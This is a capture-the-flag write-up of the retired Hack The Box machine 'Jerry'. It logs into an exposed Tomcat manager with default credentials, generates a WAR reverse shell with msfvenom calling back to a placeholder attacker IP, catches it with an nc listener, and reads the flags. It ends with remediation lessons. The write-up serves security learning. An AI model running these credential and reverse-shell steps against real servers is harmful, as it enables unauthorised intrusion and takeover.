root@thehacksparrow:~/writeups$ SYSTEM ONLINE
· log in sign up
← back to HackTheBox writeups
root@sparrow:~/writeups$ cat jerry.md
// writeups

Jerry

30 Jun 2018 · 8 min read
writeupshacktheboxwindowsEasyretiredvip
Jerry - maquina de Hack The Box

Executive summary — Jerry is an Easy Windows box teaching a golden lesson: if you control an application-deployment panel, you already have code execution. An Apache Tomcat with the manager exposed and default credentials lets us upload a .war with a reverse shell; and since the service runs with high privileges, access is direct — no escalation. A Tomcat → WAR → RCE path.

PlatformHack The Box
Operating systemWindows
DifficultyEasy
StatusRetired
Target IP10.129.23.114

Attack map

[8080] Apache Tomcat
   │  /manager/html with default credentials (tomcat:s3cret)
   ▼
[DEPLOY]  upload a .war with a JSP reverse shell → Tomcat runs it
   ▼
[RCE]  the service runs with high privileges → direct access (no privesc)

1. Reconnaissance

We start with a full port scan:

nmap -p- --min-rate 10000 10.129.23.114
8080/tcp  open  http  Apache Tomcat

Recognisable pattern: Tomcat on 8080 should immediately make you think of the manager (/manager/html), default credentials and app deployment. That's almost always the path on this kind of lab or exam target.

With just this one finding we can already form a working hypothesis: if we manage to get into the manager, we can almost certainly upload a .war with a JSP reverse shell and get code execution.

2. Web service reconnaissance

We open http://10.129.23.114:8080 and see the standard Tomcat page, not a custom site.

Why it matters: the fact that it's the default application-server page — not a bespoke site — suggests other default components may still be active too, like /manager/html or /host-manager/html. We go straight to test them.

3. The Tomcat Manager panel

We go to the application admin panel:

http://10.129.23.114:8080/manager/html

It asks for authentication. We try known Tomcat credentials — on this box they work:

tomcat : s3cret

Why trying default creds is reasonable: Tomcat historically ships misconfigured environments with default credentials, weak credentials, or documentation examples left in production. Seeing the exposed manager and trying known combos is the first, logical, very effective thing to do.

Getting in here is almost full compromise: the manager panel isn't just an admin area, it lets you deploy applications. And deploying an app you control on a server equals running code on it.

4. Building the payload: a .war with a JSP reverse shell

Tomcat runs Java web apps, whose native deployment format is the WAR. If we manage to upload one containing a JSP reverse shell, Tomcat will unpack it and serve it itself. We generate the payload:

msfvenom -p java/jsp_shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=4444 -f war > shell.war
  • -p java/jsp_shell_reverse_tcp — reverse-shell payload for JSP/Java.
  • LHOST=<ATTACKER_IP> — our HTB VPN IP.
  • LPORT=4444 — port we'll listen on for the callback.
  • -f war — WAR output format, the one Tomcat knows how to deploy.

Why msfvenom here: Tomcat understands a WAR natively, so it's the fastest, most reliable, most compatible way to get RCE, without having to hand-write the JSP.

5. Listener

Before deploying anything, we set up the listener:

nc -lvnp 4444

Why this is mandatory first: a reverse shell makes the victim connect back to us. If we're not listening first, the connection is lost and we'd have to redeploy. One of the most typical mistakes when starting out.

6. Uploading and deploying the WAR

In the manager, we use the Deploy function to upload shell.war. Internally, Tomcat:

  • receives the WAR,
  • unpacks it,
  • publishes it as a web application,
  • and makes it accessible under a path, usually /shell.

Once deployed, we visit the app's path:

http://10.129.23.114:8080/shell

Loading the JSP runs the payload and the machine connects back to our listener: we now have remote code execution on the server.

C:\apache-tomcat\bin>

7. Shell obtained: privilege context

We check where we are and with what privileges. On Jerry, the Tomcat process runs with a high-privilege account, enough to reach the administrator's desktop directly.

Why this happens: in many Tomcat labs, the service runs under a privileged account or directly in an administrative context. It's bad practice — a service exposed to the network should never hold that level of permissions — but it's exactly what makes this box easy: there's no escalation phase, the vulnerable service already runs as an over-privileged account.

8. Finding the flags

We move to the administrator's desktop and list its contents:

cd C:\Users\Administrator\Desktop
dir

There's no typical root.txt, but a folder named flags. We go in and list again:

cd flags
dir

A single file shows up: 2 for the price of 1.txt. The machine is explicitly telling us both flags are in there together — on Jerry there's no classic user.txt/root.txt split, everything is packed into the same file as a final wink. We read it:

type "2 for the price of 1.txt"

The file contains the user flag and the root flag together. System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
Foothold + RootApache Tomcat ManagerDefault credentials (tomcat:s3cret) + WAR deploymentRCE with high privileges

Lessons learned

  • Recognise Tomcat fast: seeing it on 8080 should lead you straight to manager, default credentials and WAR deployment.
  • Deployment panel = code execution. If you can upload and run an app, you have RCE.
  • Default/weak credentials are devastating: no CVE needed if admin access is already open.
  • Don't expose the Tomcat Manager to the network, and ALWAYS change sample credentials.
  • Over-privileged services: Tomcat running as a privileged account turns an RCE into full compromise, no escalation needed — you don't always get that phase.
  • Exploitation can be very simple: correct enumeration + understanding the service + the right payload is sometimes all it takes.